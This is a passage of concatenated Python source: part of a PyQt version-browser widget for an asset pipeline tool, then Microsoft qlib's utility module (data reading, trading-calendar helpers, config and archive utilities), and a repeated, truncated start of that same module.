self.infos_layout.setContentsMargins(8,8,8,0) self.infos_layout.setSpacing(4) self.infos_widget.setLayout(self.infos_layout) self.main_layout.addWidget(self.infos_widget) self.infos_layout.addSpacerItem(QtWidgets.QSpacerItem(0,0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)) self.versions_count_label = QtWidgets.QLabel() self.versions_count_label.setObjectName('gray_label') self.infos_layout.addWidget(self.versions_count_label) self.selection_count_label = QtWidgets.QLabel() self.infos_layout.addWidget(self.selection_count_label) self.refresh_label = QtWidgets.QLabel() self.refresh_label.setObjectName('gray_label') self.infos_layout.addWidget(self.refresh_label) self.buttons_widget = QtWidgets.QWidget() self.buttons_widget.setObjectName('dark_widget') self.buttons_layout = QtWidgets.QHBoxLayout() self.buttons_layout.setContentsMargins(8,8,8,8) self.buttons_layout.setSpacing(4) self.buttons_widget.setLayout(self.buttons_layout) self.main_layout.addWidget(self.buttons_widget) self.buttons_layout.addSpacerItem(QtWidgets.QSpacerItem(0,0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed)) self.search_bar = gui_utils.search_bar() gui_utils.application_tooltip(self.search_bar, "Search for a specific version") self.search_bar.setPlaceholderText('"0023", "j.smith&maya", "retake eye"') self.buttons_layout.addWidget(self.search_bar) self.toggle_view_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.toggle_view_button, "Switch to list view") self.toggle_view_button.setFixedSize(35,35) self.toggle_view_button.setIconSize(QtCore.QSize(25,25)) self.toggle_view_button.setIcon(QtGui.QIcon(ressources._tool_icon_view_)) self.buttons_layout.addWidget(self.toggle_view_button) self.manual_merge_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.manual_merge_button, "Manually merge a file") self.manual_merge_button.setFixedSize(35,35) self.manual_merge_button.setIconSize(QtCore.QSize(25,25)) self.manual_merge_button.setIcon(QtGui.QIcon(ressources._tool_manually_publish_)) self.buttons_layout.addWidget(self.manual_merge_button) self.batch_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.batch_button, "Batch export") self.batch_button.setFixedSize(35,35) self.batch_button.setIconSize(QtCore.QSize(25,25)) self.batch_button.setIcon(QtGui.QIcon(ressources._tool_batch_publish_)) self.buttons_layout.addWidget(self.batch_button) self.batch_camera_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.batch_camera_button, "Batch export cameras") self.batch_camera_button.setFixedSize(35,35) self.batch_camera_button.setIconSize(QtCore.QSize(25,25)) self.batch_camera_button.setIcon(QtGui.QIcon(ressources._tool_batch_camera_)) self.buttons_layout.addWidget(self.batch_camera_button) self.comment_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.comment_button, "Modify comment") self.comment_button.setFixedSize(35,35) self.comment_button.setIconSize(QtCore.QSize(25,25)) self.comment_button.setIcon(QtGui.QIcon(ressources._tool_comment_)) self.buttons_layout.addWidget(self.comment_button) self.launch_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.launch_button, "Launch selection") self.launch_button.setFixedSize(35,35) self.launch_button.setIconSize(QtCore.QSize(25,25)) self.launch_button.setIcon(QtGui.QIcon(ressources._launch_icon_)) self.buttons_layout.addWidget(self.launch_button) self.duplicate_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.duplicate_button, "Duplicate selection") self.duplicate_button.setFixedSize(35,35) self.duplicate_button.setIconSize(QtCore.QSize(25,25)) self.duplicate_button.setIcon(QtGui.QIcon(ressources._tool_duplicate_)) self.buttons_layout.addWidget(self.duplicate_button) self.new_version_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.new_version_button, "Create empty version") self.new_version_button.setFixedSize(35,35) self.new_version_button.setIconSize(QtCore.QSize(25,25)) self.new_version_button.setIcon(QtGui.QIcon(ressources._tool_add_)) self.buttons_layout.addWidget(self.new_version_button) self.folder_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.folder_button, "Open versions folder") self.folder_button.setFixedSize(35,35) self.folder_button.setIconSize(QtCore.QSize(25,25)) self.folder_button.setIcon(QtGui.QIcon(ressources._tool_folder_)) self.buttons_layout.addWidget(self.folder_button) self.archive_button = QtWidgets.QPushButton() gui_utils.application_tooltip(self.archive_button, "Archive selection") self.archive_button.setFixedSize(35,35) self.archive_button.setIconSize(QtCore.QSize(25,25)) self.archive_button.setIcon(QtGui.QIcon(ressources._tool_archive_)) self.buttons_layout.addWidget(self.archive_button) self.drop_widget = drop_files_widget.drop_widget(self) self.drop_widget.setText('Merge file as new version') self.drop_widget.setVisible(0) def context_menu_requested(self): selection = self.get_selection() menu = gui_utils.QMenu(self) folder_action = menu.addAction(QtGui.QIcon(ressources._tool_folder_), 'Open folder') empty_version_action = menu.addAction(QtGui.QIcon(ressources._tool_add_), 'Create new empty version') merge_action = menu.addAction(QtGui.QIcon(ressources._tool_manually_publish_), 'Manually merge a file') duplicate_action = None archive_action = None comment_action = None batch_action = None if len(selection)>=1: duplicate_action = menu.addAction(QtGui.QIcon(ressources._tool_duplicate_), 'Duplicate version(s)') archive_action = menu.addAction(QtGui.QIcon(ressources._tool_archive_), 'Archive version(s)') comment_action = menu.addAction(QtGui.QIcon(ressources._tool_comment_), 'Modify comment') launch_action = None if len(selection)==1: launch_action = menu.addAction(QtGui.QIcon(ressources._launch_icon_), 'Launch version') batch_action = menu.addAction(QtGui.QIcon(ressources._tool_batch_publish_), 'Batch export version') action = menu.exec_(QtGui.QCursor().pos()) if action is not None: if action == folder_action: self.open_folder() elif action == empty_version_action: self.add_empty_version() elif action == duplicate_action: self.duplicate_version() elif action == archive_action: self.archive() elif action == launch_action: self.launch() elif action == comment_action: self.modify_comment() elif action == merge_action: self.open_files() elif action == batch_action: self.batch_export() def modify_comment(self): items = self.get_selection() if items is not None: if len(items) > 0: self.comment_widget = comment_widget.comment_widget() if self.comment_widget.exec_() == QtWidgets.QDialog.Accepted: comment = self.comment_widget.comment for item in items: assets.modify_version_comment(item.version_row['id'], comment) gui_server.refresh_team_ui() def version_changed(self): selection = self.get_selection() if len(selection) == 1: if selection[0] is not None: self.version_changed_signal.emit(selection[0].version_row['name']) def toggle_view(self): selection = self.get_selection() if self.icon_mode: self.icon_view.setVisible(0) self.list_view.setVisible(1) self.list_mode = 1 self.icon_mode = 0 elif self.list_mode: self.icon_view.setVisible(1) self.list_view.setVisible(0) self.list_mode = 0 self.icon_mode = 1 if self.icon_mode: self.toggle_view_button.setIcon(QtGui.QIcon(ressources._tool_list_view_)) gui_utils.modify_application_tooltip(self.toggle_view_button, "Switch to list view") elif self.list_mode: self.toggle_view_button.setIcon(QtGui.QIcon(ressources._tool_icon_view_)) gui_utils.modify_application_tooltip(self.toggle_view_button, "Switch to icon view") self.refresh() self.set_selection(selection) def set_view_as_icon_mode(self): if self.icon_mode == 1: pass else: self.toggle_view() def set_view_as_list_mode(self): if self.list_mode == 1: pass else: self.toggle_view() def set_context(self): if self.icon_mode == 1: current_mode = 'icon' else: current_mode = 'list' context_dic = dict() context_dic['view_mode'] = current_mode user.user().add_context(user_vars._versions_context_, context_dic) def get_context(self): context_dic = user.user().get_context(user_vars._versions_context_) if context_dic is not None and context_dic != dict(): if context_dic['view_mode'] == 'icon': self.set_view_as_icon_mode() elif context_dic['view_mode'] == 'list': self.set_view_as_list_mode() def get_number(self): number = 0 if self.icon_mode: number = len(self.version_icon_ids) elif self.list_mode: number = len(self.version_list_ids) return number def get_selection(self): selection = None if self.icon_mode: selection = self.icon_view.selectedItems() elif self.list_mode: selection = self.list_view.selectedItems() return selection def set_selection(self, selection): self.clear_selection() if selection is not None: for item in selection: if self.icon_mode: self.version_icon_ids[item.version_row['id']].setSelected(True) elif self.list_mode: self.version_list_ids[item.version_row['id']].setSelected(True) def clear_selection(self): for version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].setSelected(False) for version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setSelected(False) def duplicate_version(self): selection = self.get_selection() if selection is not None: for item in selection: assets.duplicate_version(item.version_row['id'], f"Duplicate from version {item.version_row['name']}") gui_server.refresh_team_ui() def launch(self): items = self.get_selection() if items is not None: if len(items) == 1: launch.launch_work_version(items[0].version_row['id']) gui_server.refresh_team_ui() def archive(self): items = self.get_selection() if items is not None: if items!=[]: self.confirm_widget = confirm_widget.confirm_widget('Do you want to continue ?', parent=self) if self.confirm_widget.exec_() == QtWidgets.QDialog.Accepted: version_ids = [] for item in items: version_ids.append(item.version_row['id']) subtasks_library.archive_versions(version_ids) def refresh_infos(self): self.versions_count_label.setText(f"{self.get_number()} versions -") selection = self.get_selection() if selection is not None: number = len(selection) else: number = 0 self.selection_count_label.setText(f"{number} selected") def remove_tree_version(self, version_id): if version_id in self.version_list_ids.keys(): item = self.version_list_ids[version_id] self.list_view.invisibleRootItem().removeChild(item) del self.version_list_ids[version_id] def remove_icon_version(self, version_id): if version_id in self.version_icon_ids.keys(): item = self.version_icon_ids[version_id] self.icon_view.takeItem(self.icon_view.row(item)) del self.version_icon_ids[version_id] def add_empty_version(self): if self.work_env_id is not None: if assets.add_version(self.work_env_id, 'Empty version', 0): gui_server.refresh_team_ui() def open_folder(self): if self.work_env_id is not None: path_utils.startfile(assets.get_work_env_path(self.work_env_id)) class custom_version_tree_item(QtWidgets.QTreeWidgetItem): def __init__(self, version_row, software_icon, parent=None): super(custom_version_tree_item, self).__init__(parent) self.software_icon = software_icon self.version_row = version_row self.fill_ui() def fill_ui(self): self.setText(0, self.version_row['name']) bold_font=QtGui.QFont() bold_font.setBold(True) self.setFont(0, bold_font) self.setIcon(1, self.software_icon) self.setText(2, self.version_row['creation_user']) day, hour = tools.convert_time(self.version_row['creation_time']) self.setText(3, f"{day} - {hour}") self.setForeground(3, QtGui.QBrush(QtGui.QColor('gray'))) self.setText(4, self.version_row['comment']) self.setText(5, os.path.basename(self.version_row['file_path'])) self.setText(6, str(self.version_row['id'])) self.setForeground(6, QtGui.QBrush(QtGui.QColor('gray'))) def set_missing(self): self.setForeground(5, QtGui.QBrush(QtGui.QColor('#f79360'))) def set_not_missing(self): self.setForeground(5, QtGui.QBrush(QtGui.QColor('#9ce87b'))) def refresh(self, version_row): self.version_row = version_row self.fill_ui() class custom_version_icon_item(QtWidgets.QListWidgetItem): def __init__(self, version_row, parent=None): super(custom_version_icon_item, self).__init__(parent) self.version_row = version_row self.fill_ui() def fill_ui(self): icon = QtGui.QIcon() pixmap = QtGui.QPixmap(self.version_row['thumbnail_path']) icon.addPixmap(pixmap, QtGui.QIcon.Normal) icon.addPixmap(pixmap, QtGui.QIcon.Selected) if not path_utils.isfile(self.version_row['thumbnail_path']): default_icon = QtGui.QIcon(ressources._no_screenshot_small_) icon.addPixmap(default_icon.pixmap(200), QtGui.QIcon.Normal) icon.addPixmap(default_icon.pixmap(200), QtGui.QIcon.Selected) self.setIcon(icon) self.setText(f"{self.version_row['name']} - {self.version_row['creation_user']}") self.setTextAlignment(QtCore.Qt.AlignLeft) def set_missing(self): self.setForeground(QtGui.QColor('#f79360')) def set_not_missing(self): self.setForeground(QtGui.QColor('#9ce87b')) class check_existence_thread(QtCore.QThread): missing_file_signal = pyqtSignal(int) not_missing_file_signal = pyqtSignal(int) def __init__(self, parent=None): super(check_existence_thread, self).__init__(parent) self.versions_rows = None self.running = True def run(self): if self.versions_rows is not None: for version_row in self.versions_rows: if not path_utils.isfile(version_row['file_path']): self.missing_file_signal.emit(version_row['id']) else: self.not_missing_file_signal.emit(version_row['id']) if not self.running: break def update_versions_rows(self, versions_rows): self.running = False self.versions_rows = versions_rows self.running = True self.start() class search_thread(QtCore.QThread): show_id_signal = pyqtSignal(int) hide_id_signal = pyqtSignal(int) def __init__(self): super().__init__() self.running = True def update_search(self, versions_rows, search_data): self.running = False self.search_data = search_data self.versions_rows = copy.deepcopy(versions_rows) self.running = True self.start() def run(self): try: keywords = self.search_data.split('&') for version_row in self.versions_rows: version_id = version_row['id'] del version_row['id'] del version_row['creation_time'] del version_row['file_path'] del version_row['screenshot_path'] del version_row['thumbnail_path'] del version_row['work_env_id'] values = list(version_row.values()) data_list = [] for data_block in values: data_list.append(str(data_block)) data = (' ').join(data_list) if all(keyword.upper() in data.upper() for keyword in keywords): self.show_id_signal.emit(version_id) else: self.hide_id_signal.emit(version_id) except: logger.debug(str(traceback.format_exc()))
# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. from __future__ import division from __future__ import print_function import os import re import copy import json import yaml import redis import bisect import shutil import difflib import hashlib import datetime import requests import tempfile import importlib import contextlib import collections import numpy as np import pandas as pd from pathlib import Path from typing import Union, Tuple from ..config import C from ..log import get_module_logger, set_log_with_config log = get_module_logger("utils") #################### Server #################### def get_redis_connection(): """get redis connection instance.""" return redis.StrictRedis(host=C.redis_host, port=C.redis_port, db=C.redis_task_db) #################### Data #################### def read_bin(file_path, start_index, end_index): with open(file_path, "rb") as f: # read start_index ref_start_index = int(np.frombuffer(f.read(4), dtype="<f")[0]) si = max(ref_start_index, start_index) if si > end_index: return pd.Series(dtype=np.float32) # calculate offset f.seek(4 * (si - ref_start_index) + 4) # read nbytes count = end_index - si + 1 data = np.frombuffer(f.read(4 * count), dtype="<f") series = pd.Series(data, index=pd.RangeIndex(si, si + len(data))) return series def np_ffill(arr: np.array): """ forward fill a 1D numpy array Parameters ---------- arr : np.array Input numpy 1D array """ mask = np.isnan(arr.astype(np.float)) # np.isnan only works on np.float # get fill index idx = np.where(~mask, np.arange(mask.shape[0]), 0) np.maximum.accumulate(idx, out=idx) return arr[idx] #################### Search #################### def lower_bound(data, val, level=0): """multi fields list lower bound. for single field list use `bisect.bisect_left` instead """ left = 0 right = len(data) while left < right: mid = (left + right) // 2 if val <= data[mid][level]: right = mid else: left = mid + 1 return left def upper_bound(data, val, level=0): """multi fields list upper bound. for single field list use `bisect.bisect_right` instead """ left = 0 right = len(data) while left < right: mid = (left + right) // 2 if val >= data[mid][level]: left = mid + 1 else: right = mid return left #################### HTTP #################### def requests_with_retry(url, retry=5, **kwargs): while retry > 0: retry -= 1 try: res = requests.get(url, timeout=1, **kwargs) assert res.status_code in {200, 206} return res except AssertionError: continue except Exception as e: log.warning("exception encountered {}".format(e)) continue raise Exception("ERROR: requests failed!") #################### Parse #################### def parse_config(config): # Check whether need parse, all object except str do not need to be parsed if not isinstance(config, str): return config # Check whether config is file if os.path.exists(config): with open(config, "r") as f: return yaml.load(f) # Check whether the str can be parsed try: return yaml.load(config) except BaseException: raise ValueError("cannot parse config!") #################### Other #################### def drop_nan_by_y_index(x, y, weight=None): # x, y, weight: DataFrame # Find index of rows which do not contain Nan in all columns from y. mask = ~y.isna().any(axis=1) # Get related rows from x, y, weight. x = x[mask] y = y[mask] if weight is not None: weight = weight[mask] return x, y, weight def hash_args(*args): # json.dumps will keep the dict keys always sorted. string = json.dumps(args, sort_keys=True, default=str) # frozenset return hashlib.md5(string.encode()).hexdigest() def parse_field(field): # Following patterns will be matched: # - $close -> Feature("close") # - $close5 -> Feature("close5") # - $open+$close -> Feature("open")+Feature("close") if not isinstance(field, str): field = str(field) return re.sub(r"\$(\w+)", r'Feature("\1")', re.sub(r"(\w+\s*)\(", r"Operators.\1(", field)) def get_module_by_module_path(module_path): """Load module path :param module_path: :return: """ if module_path.endswith(".py"): module_spec = importlib.util.spec_from_file_location("", module_path) module = importlib.util.module_from_spec(module_spec) module_spec.loader.exec_module(module) else: module = importlib.import_module(module_path) return module def get_cls_kwargs(config: Union[dict, str], module) -> (type, dict): """ extract class and kwargs from config info Parameters ---------- config : [dict, str] similar to config module : Python module It should be a python module to load the class type Returns ------- (type, dict): the class object and it's arguments. """ if isinstance(config, dict): # raise AttributeError klass = getattr(module, config["class"]) kwargs = config.get("kwargs", {}) elif isinstance(config, str): klass = getattr(module, config) kwargs = {} else: raise NotImplementedError(f"This type of input is not supported") return klass, kwargs def init_instance_by_config( config: Union[str, dict, object], module=None, accept_types: Union[type, Tuple[type]] = tuple([]), **kwargs ) -> object: """ get initialized instance with config Parameters ---------- config : Union[str, dict, object] dict example. { 'class': 'ClassName', 'kwargs': dict, # It is optional. {} will be used if not given 'model_path': path, # It is optional if module is given } str example. "ClassName": getattr(module, config)() will be used. object example: instance of accept_types module : Python module Optional. It should be a python module. NOTE: the "module_path" will be override by `module` arguments accept_types: Union[type, Tuple[type]] Optional. If the config is a instance of specific type, return the config directly. This will be passed into the second parameter of isinstance. Returns ------- object: An initialized object based on the config info """ if isinstance(config, accept_types): return config if module is None: module = get_module_by_module_path(config["module_path"]) klass, cls_kwargs = get_cls_kwargs(config, module) return klass(**cls_kwargs, **kwargs) def compare_dict_value(src_data: dict, dst_data: dict): """Compare dict value :param src_data: :param dst_data: :return: """ class DateEncoder(json.JSONEncoder): # FIXME: This class can only be accurate to the day. If it is a minute, # there may be a bug def default(self, o): if isinstance(o, (datetime.datetime, datetime.date)): return o.strftime("%Y-%m-%d %H:%M:%S") return json.JSONEncoder.default(self, o) src_data = json.dumps(src_data, indent=4, sort_keys=True, cls=DateEncoder) dst_data = json.dumps(dst_data, indent=4, sort_keys=True, cls=DateEncoder) diff = difflib.ndiff(src_data, dst_data) changes = [line for line in diff if line.startswith("+ ") or line.startswith("- ")] return changes def create_save_path(save_path=None): """Create save path Parameters ---------- save_path: str """ if save_path: if not os.path.exists(save_path): os.makedirs(save_path) else: temp_dir = os.path.expanduser("~/tmp") if not os.path.exists(temp_dir): os.makedirs(temp_dir) _, save_path = tempfile.mkstemp(dir=temp_dir) return save_path @contextlib.contextmanager def save_multiple_parts_file(filename, format="gztar"): """Save multiple parts file Implementation process: 1. get the absolute path to 'filename' 2. create a 'filename' directory 3. user does something with file_path('filename/') 4. remove 'filename' directory 5. make_archive 'filename' directory, and rename 'archive file' to filename :param filename: result model path :param format: archive format: one of "zip", "tar", "gztar", "bztar", or "xztar" :return: real model path Usage:: >>> # The following code will create an archive file('~/tmp/test_file') containing 'test_doc_i'(i is 0-10) files. >>> with save_multiple_parts_file('~/tmp/test_file') as filename_dir: ... for i in range(10): ... temp_path = os.path.join(filename_dir, 'test_doc_{}'.format(str(i))) ... with open(temp_path) as fp: ... fp.write(str(i)) ... """ if filename.startswith("~"): filename = os.path.expanduser(filename) file_path = os.path.abspath(filename) # Create model dir if os.path.exists(file_path): raise FileExistsError("ERROR: file exists: {}, cannot be create the directory.".format(file_path)) os.makedirs(file_path) # return model dir yield file_path # filename dir to filename.tar.gz file tar_file = shutil.make_archive(file_path, format=format, root_dir=file_path) # Remove filename dir if os.path.exists(file_path): shutil.rmtree(file_path) # filename.tar.gz rename to filename os.rename(tar_file, file_path) @contextlib.contextmanager def unpack_archive_with_buffer(buffer, format="gztar"): """Unpack archive with archive buffer After the call is finished, the archive file and directory will be deleted. Implementation process: 1. create 'tempfile' in '~/tmp/' and directory 2. 'buffer' write to 'tempfile' 3. unpack archive file('tempfile') 4. user does something with file_path('tempfile/') 5. remove 'tempfile' and 'tempfile directory' :param buffer: bytes :param format: archive format: one of "zip", "tar", "gztar", "bztar", or "xztar" :return: unpack archive directory path Usage:: >>> # The following code is to print all the file names in 'test_unpack.tar.gz' >>> with open('test_unpack.tar.gz') as fp: ... buffer = fp.read() ... >>> with unpack_archive_with_buffer(buffer) as temp_dir: ... for f_n in os.listdir(temp_dir): ... print(f_n) ... """ temp_dir = os.path.expanduser("~/tmp") if not os.path.exists(temp_dir): os.makedirs(temp_dir) with tempfile.NamedTemporaryFile("wb", delete=False, dir=temp_dir) as fp: fp.write(buffer) file_path = fp.name try: tar_file = file_path + ".tar.gz" os.rename(file_path, tar_file) # Create dir os.makedirs(file_path) shutil.unpack_archive(tar_file, format=format, extract_dir=file_path) # Return temp dir yield file_path except Exception as e: log.error(str(e)) finally: # Remove temp tar file if os.path.exists(tar_file): os.unlink(tar_file) # Remove temp model dir if os.path.exists(file_path): shutil.rmtree(file_path) @contextlib.contextmanager def get_tmp_file_with_buffer(buffer): temp_dir = os.path.expanduser("~/tmp") if not os.path.exists(temp_dir): os.makedirs(temp_dir) with tempfile.NamedTemporaryFile("wb", delete=True, dir=temp_dir) as fp: fp.write(buffer) file_path = fp.name yield file_path def remove_repeat_field(fields): """remove repeat field :param fields: list; features fields :return: list """ fields = copy.deepcopy(fields) _fields = set(fields) return sorted(_fields, key=fields.index) def remove_fields_space(fields: [list, str, tuple]): """remove fields space :param fields: features fields :return: list or str """ if isinstance(fields, str): return fields.replace(" ", "") return [i.replace(" ", "") for i in fields if isinstance(i, str)] def normalize_cache_fields(fields: [list, tuple]): """normalize cache fields :param fields: features fields :return: list """ return sorted(remove_repeat_field(remove_fields_space(fields))) def normalize_cache_instruments(instruments): """normalize cache instruments :return: list or dict """ if isinstance(instruments, (list, tuple, pd.Index, np.ndarray)): instruments = sorted(list(instruments)) else: # dict type stockpool if "market" in instruments: pass else: instruments = {k: sorted(v) for k, v in instruments.items()} return instruments def is_tradable_date(cur_date): """judgy whether date is a tradable date ---------- date : pandas.Timestamp current date """ from ..data import D return str(cur_date.date()) == str(D.calendar(start_time=cur_date, future=True)[0].date()) def get_date_range(trading_date, left_shift=0, right_shift=0, future=False): """get trading date range by shift Parameters ---------- trading_date: pd.Timestamp left_shift: int right_shift: int future: bool """ from ..data import D start = get_date_by_shift(trading_date, left_shift, future=future) end = get_date_by_shift(trading_date, right_shift, future=future) calendar = D.calendar(start, end, future=future) return calendar def get_date_by_shift(trading_date, shift, future=False, clip_shift=True): """get trading date with shift bias wil cur_date e.g. : shift == 1, return next trading date shift == -1, return previous trading date ---------- trading_date : pandas.Timestamp current date shift : int clip_shift: bool """ from qlib.data import D cal = D.calendar(future=future) if pd.to_datetime(trading_date) not in list(cal): raise ValueError("{} is not trading day!".format(str(trading_date))) _index = bisect.bisect_left(cal, trading_date) shift_index = _index + shift if shift_index < 0 or shift_index >= len(cal): if clip_shift: shift_index = np.clip(shift_index, 0, len(cal) - 1) else: raise IndexError(f"The shift_index({shift_index}) of the trading day ({trading_date}) is out of range") return cal[shift_index] def get_next_trading_date(trading_date, future=False): """get next trading date ---------- cur_date : pandas.Timestamp current date """ return get_date_by_shift(trading_date, 1, future=future) def get_pre_trading_date(trading_date, future=False): """get previous trading date ---------- date : pandas.Timestamp current date """ return get_date_by_shift(trading_date, -1, future=future) def transform_end_date(end_date=None, freq="day"): """get previous trading date If end_date is -1, None, or end_date is greater than the maximum trading day, the last trading date is returned. Otherwise, returns the end_date ---------- end_date: str end trading date date : pandas.Timestamp current date """ from ..data import D last_date = D.calendar(freq=freq)[-1] if end_date is None or (str(end_date) == "-1") or (pd.Timestamp(last_date) < pd.Timestamp(end_date)): log.warning( "\nInfo: the end_date in the configuration file is {}, " "so the default last date {} is used.".format(end_date, last_date) ) end_date = last_date return end_date def get_date_in_file_name(file_name): """Get the date(YYYY-MM-DD) written in file name Parameter file_name : str :return date : str 'YYYY-MM-DD' """ pattern = "[0-9]{4}-[0-9]{2}-[0-9]{2}" date = re.search(pattern, str(file_name)).group() return date def split_pred(pred, number=None, split_date=None): """split the score file into two part Parameter --------- pred : pd.DataFrame (index:<instrument, datetime>) A score file of stocks number: the number of dates for pred_left split_date: the last date of the pred_left Return ------- pred_left : pd.DataFrame (index:<instrument, datetime>) The first part of original score file pred_right : pd.DataFrame (index:<instrument, datetime>) The second part of original score file """ if number is None and split_date is None: raise ValueError("`number` and `split date` cannot both be None") dates = sorted(pred.index.get_level_values("datetime").unique()) dates = list(map(pd.Timestamp, dates)) if split_date is None: date_left_end = dates[number - 1] date_right_begin = dates[number] date_left_start = None else: split_date = pd.Timestamp(split_date) date_left_end = split_date date_right_begin = split_date + pd.Timedelta(days=1) if number is None: date_left_start = None else: end_idx = bisect.bisect_right(dates, split_date) date_left_start = dates[end_idx - number] pred_temp = pred.sort_index() pred_left = pred_temp.loc(axis=0)[:, date_left_start:date_left_end] pred_right = pred_temp.loc(axis=0)[:, date_right_begin:] return pred_left, pred_right def can_use_cache(): res = True r = get_redis_connection() try: r.client() except redis.exceptions.ConnectionError: res = False finally: r.close() return res def exists_qlib_data(qlib_dir): qlib_dir = Path(qlib_dir).expanduser() if not qlib_dir.exists(): return False calendars_dir = qlib_dir.joinpath("calendars") instruments_dir = qlib_dir.joinpath("instruments") features_dir = qlib_dir.joinpath("features") # check dir for _dir in [calendars_dir, instruments_dir, features_dir]: if not (_dir.exists() and list(_dir.iterdir())): return False # check calendar bin for _calendar in calendars_dir.iterdir(): if not list(features_dir.rglob(f"*.{_calendar.name.split(".")[0]}.bin")): return False # check instruments code_names = set(map(lambda x: x.name.lower(), features_dir.iterdir())) _instrument = instruments_dir.joinpath("all.txt") miss_code = set(pd.read_csv(_instrument, sep="\t", header=None).loc[:, 0].apply(str.lower)) - set(code_names) if miss_code and any(map(lambda x: "sht" not in x, miss_code)): return False return True def check_qlib_data(qlib_config): inst_dir = Path(qlib_config["provider_uri"]).joinpath("instruments") for _p in inst_dir.glob("*.txt"): try: assert len(pd.read_csv(_p, sep="\t", nrows=0, header=None).columns) == 3, ( f"\nThe {str(_p.resolve())} of qlib data is not equal to 3 columns:" f"\n\tIf you are using the data provided by qlib: " f"https://qlib.readthedocs.io/en/latest/component/data.html#qlib-format-dataset" f"\n\tIf you are using your own data, please dump the data again: " f"https://qlib.readthedocs.io/en/latest/component/data.html#converting-csv-format-into-qlib-format" ) except AssertionError: raise def lazy_sort_index(df: pd.DataFrame, axis=0) -> pd.DataFrame: """ make the df index sorted df.sort_index() will take a lot of time even when `df.is_lexsorted() == True` This function could avoid such case Parameters ---------- df : pd.DataFrame Returns ------- pd.DataFrame: sorted dataframe """ idx = df.index if axis == 0 else df.columns if idx.is_monotonic_increasing: return df else: return df.sort_index(axis=axis) def flatten_dict(d, parent_key="", sep="."): """flatten_dict. >>> flatten_dict({'a': 1, 'c': {'a': 2, 'b': {'x': 5, 'y' : 10}}, 'd': [1, 2, 3]}) >>> {'a': 1, 'c.a': 2, 'c.b.x': 5, 'd': [1, 2, 3], 'c.b.y': 10} Parameters ---------- d : d parent_key : parent_key sep : sep """ items = [] for k, v in d.items(): new_key = parent_key + sep + k if parent_key else k if isinstance(v, collections.abc.MutableMapping): items.extend(flatten_dict(v, new_key, sep=sep).items()) else: items.append((new_key, v)) return dict(items) #################### Wrapper ##################### class Wrapper: """Wrapper class for anything that needs to set up during qlib.init""" def __init__(self): self._provider = None def register(self, provider): self._provider = provider def __getattr__(self, key): if self._provider is None: raise AttributeError("Please run qlib.init() first using qlib") return getattr(self._provider, key) def register_wrapper(wrapper, cls_or_obj, module_path=None): """register_wrapper :param wrapper: A wrapper. :param cls_or_obj: A class or class name or object instance. """ if isinstance(cls_or_obj, str): module = get_module_by_module_path(module_path) cls_or_obj = getattr(module, cls_or_obj) obj = cls_or_obj() if isinstance(cls_or_obj, type) else cls_or_obj wrapper.register(obj) def load_dataset(path_or_obj): """load dataset from multiple file formats""" if isinstance(path_or_obj, pd.DataFrame): return path_or_obj if not os.path.exists(path_or_obj): raise ValueError(f"file {path_or_obj} doesn't exist") _, extension = os.path.splitext(path_or_obj) if extension == ".h5": return pd.read_hdf(path_or_obj) elif extension == ".pkl": return pd.read_pickle(path_or_obj) elif extension == ".csv": return pd.read_csv(path_or_obj, parse_dates=True, index_col=[0, 1]) raise ValueError(f"unsupported file type `{extension}`") def code_to_fname(code: str): """stock code to file name Parameters ---------- code: str """ # NOTE: In windows, the following name is I/O device, and the file with the corresponding name cannot be created # reference: https://superuser.com/questions/86999/why-cant-i-name-a-folder-or-file-con-in-windows replace_names = ["CON", "PRN", "AUX", "NUL"] replace_names += [f"COM{i}" for i in range(10)] replace_names += [f"LPT{i}" for i in range(10)] prefix = "_qlib_" if str(code).upper() in replace_names: code = prefix + str(code) return code def fname_to_code(fname: str): """file name to stock code Parameters ---------- fname: str """ prefix = "_qlib_" if fname.startswith(prefix): fname = fname.lstrip(prefix) return fname
# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. from __future__ import division from __future__ import print_function import os import re import copy import json import yaml import redis import bisect import shutil import difflib import hashlib import datetime import requests import tempfile import importlib import contextlib import collections import numpy as np import pandas as pd from pathlib import Path from typing import Union, Tuple from ..config import C from ..log import get_module_logger, set_log_with_config log = get_module_logger("utils") #################### Server #################### def get_redis_connection(): """get redis connection instance.""" return redis.StrictRedis(host=C.redis_host, port=C.redis_port, db=C.redis_task_db) #################### Data #################### def read_bin(file_path, start_index, end_index): with open(file_path, "rb") as f: # read start_index ref_start_index = int(np.frombuffer(f.read(4), dtype="<f")[0]) si = max(ref_start_index, start_index) if si > end_index: return pd.Series(dtype=np.float32) # calculate offset f.seek(4 * (si - ref_start_index) + 4) # read nbytes count = end_index - si + 1 data = np.frombuffer(f.read(4 * count), dtype="<f") series = pd.Series(data, index=pd.RangeIndex(si, si + len(data))) return series def np_ffill(arr: np.array): """ forward fill a 1D numpy array Parameters ---------- arr : np.array Input numpy 1D array """ mask = np.isnan(arr.astype(np.float)) # np.isnan only works on np.float # get fill index idx = np.where(~mask, np.arange(mask.shape[0]), 0) np.maximum.accumulate(idx, out=idx) return arr[idx] #################### Search #################### def lower_bound(data, val, level=0): """multi fields list lower bound. for single field list use `bisect.bisect_left` instead """ left = 0 right = len(data) while left < right: mid = (left + right) // 2 if val <= data[mid][level]: right = mid else: left = mid + 1 return left def upper_bound(data, val, level=0): """multi fields list upper bound. for single field list use `bisect.bisect_right` instead """ left = 0 right = len(data) while left < right: mid = (left + right) // 2 if val >= data[mid][level]: left = mid + 1 else: right = mid return left #################### HTTP #################### def requests_with_retry(url, retry=5, **kwargs): while retry > 0: retry -= 1 try: res = requests.get(url, timeout=1, **kwargs) assert res.status_code in {200, 206} return res except AssertionError: continue except Exception as e: log.warning("exception encountered {}".format(e)) continue raise Exception("ERROR: requests failed!") #################### Parse #################### def parse_config(config): # Check 